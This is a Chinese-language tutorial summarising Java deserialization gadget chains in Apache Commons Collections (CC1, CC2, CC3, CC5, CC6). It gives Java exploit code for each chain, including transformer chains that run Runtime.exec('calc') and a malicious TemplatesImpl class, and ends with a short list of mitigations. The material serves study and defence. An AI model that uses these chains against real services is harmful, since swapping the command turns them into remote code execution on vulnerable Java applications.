Java反序列化CC链的汇总
字数 1709 2025-08-10 16:34:28
Java反序列化CC链漏洞分析与利用
概述
Apache Commons Collections (CC)反序列化漏洞是Java安全领域中最著名的一类漏洞,它允许攻击者通过构造特定的序列化数据在目标系统上执行任意代码。本文将详细分析CC链的各种利用方式,包括CC1、CC2、CC3、CC4、CC5和CC6链。
基础知识
核心概念
- 反序列化漏洞:当程序反序列化不受信任的数据时,可能触发恶意代码执行
- Transformer接口:Apache Commons Collections中的核心接口,用于对象转换
- 动态代理:Java反射机制的一部分,允许在运行时创建代理对象
关键类
InvokerTransformer:通过反射调用任意方法ChainedTransformer:将多个Transformer串联执行LazyMap/DefaultedMap:延迟加载的Map实现TiedMapEntry:将键值对绑定在一起的类AnnotationInvocationHandler:JDK内部类,用于处理注解
CC6链分析
基本原理
CC6链利用DefaultedMap或LazyMap的get方法触发InvokerTransformer的反射调用,最终执行任意命令。
利用步骤
- 构造InvokerTransformer:
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",
new Class[]{String.class}, new Object[]{"calc"});
- 设置DefaultedMap:
DefaultedMap defaultedMap = new DefaultedMap(null);
// 通过反射设置value字段
Field value = defaultedMap.getClass().getDeclaredField("value");
value.setAccessible(true);
value.set(defaultedMap, invokerTransformer);
- 利用TiedMapEntry触发:
TiedMapEntry tiedMapEntry = new TiedMapEntry(defaultedMap, Runtime.getRuntime());
tiedMapEntry.hashCode(); // 触发漏洞
- 通过HashMap反序列化触发:
HashMap hashMap = new HashMap();
hashMap.put(tiedMapEntry, "test");
// 序列化和反序列化触发
解决Runtime不可序列化问题
由于Runtime类不可序列化,需要使用反射链:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",
new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec",
new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
CC1链分析
两个变种
- 使用LazyMap和AnnotationInvocationHandler
- 使用TransformedMap
LazyMap变种
- 构造ChainedTransformer(同上)
- 创建LazyMap:
Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);
- 创建动态代理:
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = aClass.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);
Map proxyMap = (Map) Proxy.newProxyInstance(
lazyMap.getClass().getClassLoader(),
lazyMap.getClass().getInterfaces(),
handler);
- 触发反序列化:
Object instance = constructor.newInstance(Override.class, proxyMap);
// 序列化和反序列化
TransformedMap变种
- 构造TransformedMap:
HashMap hashMap = new HashMap();
hashMap.put("value", "123");
Map transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
- 通过AnnotationInvocationHandler触发:
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = aClass.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Target.class, transformedMap);
// 序列化和反序列化
CC2链分析
利用特点
使用PriorityQueue和TransformingComparator触发漏洞,要求CC版本4.0+。
利用步骤
- 构造ChainedTransformer(同上)
- 创建TransformingComparator:
TransformingComparator transformingComparator =
new TransformingComparator(chainedTransformer);
- 设置PriorityQueue:
PriorityQueue priorityQueue = new PriorityQueue(2, null);
priorityQueue.add(1);
priorityQueue.add(2);
Field comparator = priorityQueue.getClass().getDeclaredField("comparator");
comparator.setAccessible(true);
comparator.set(priorityQueue, transformingComparator);
- 反序列化触发:
// 序列化和反序列化
CC3链分析
利用特点
使用TemplatesImpl加载字节码实现任意代码执行,而非直接执行命令。
关键类
TemplatesImpl:XSLT处理器,可加载字节码AbstractTranslet:需要恶意类继承的基类
利用步骤
- 准备恶意类:
public class EvilClass extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (Exception e) {}
}
// 必须实现的方法
public void transform(...) {}
public void transform(...) {}
}
- 加载恶意类:
String EvalPath = "EvilClass.class";
File file = new File(EvalPath);
FileInputStream fis = new FileInputStream(file);
byte[] b = new byte[(int)file.length()];
fis.read(b);
byte[][] codes = new byte[][]{b};
- 设置TemplatesImpl:
TemplatesImpl templates = new TemplatesImpl();
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates, codes);
Field tfactory = templates.getClass().getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates, new TransformerFactoryImpl());
Field name = templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "test");
- 触发漏洞:
// 方法1:直接调用
templates.newTransformer();
// 方法2:结合CC6链
InvokerTransformer invoker = new InvokerTransformer("newTransformer", null, null);
invoker.transform(templates);
CC5链分析
利用特点
通过BadAttributeValueExpException的toString方法触发TiedMapEntry的getValue方法。
利用步骤
- 构造ChainedTransformer(同上)
- 设置DefaultedMap:
DefaultedMap defaultedMap = new DefaultedMap(null);
Field value = defaultedMap.getClass().getDeclaredField("value");
value.setAccessible(true);
value.set(defaultedMap, chainedTransformer);
- 创建TiedMapEntry:
TiedMapEntry tiedMapEntry = new TiedMapEntry(defaultedMap, "any");
- 设置BadAttributeValueExpException:
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
Field val = exp.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(exp, tiedMapEntry);
- 反序列化触发:
// 序列化和反序列化
防御措施
- 升级Commons Collections:使用3.2.2或4.1及以上版本
- 反序列化过滤:使用
ObjectInputFilter限制反序列化的类 - 使用安全框架:如Spring Security提供防护
- 代码审查:检查反序列化操作的安全性
总结
CC链漏洞展示了Java反序列化的危险性,攻击者可以通过多种途径利用这些漏洞。理解这些漏洞的原理和利用方式对于开发安全的Java应用至关重要。开发者应当始终保持依赖库的最新版本,并实施适当的安全措施来防范此类攻击。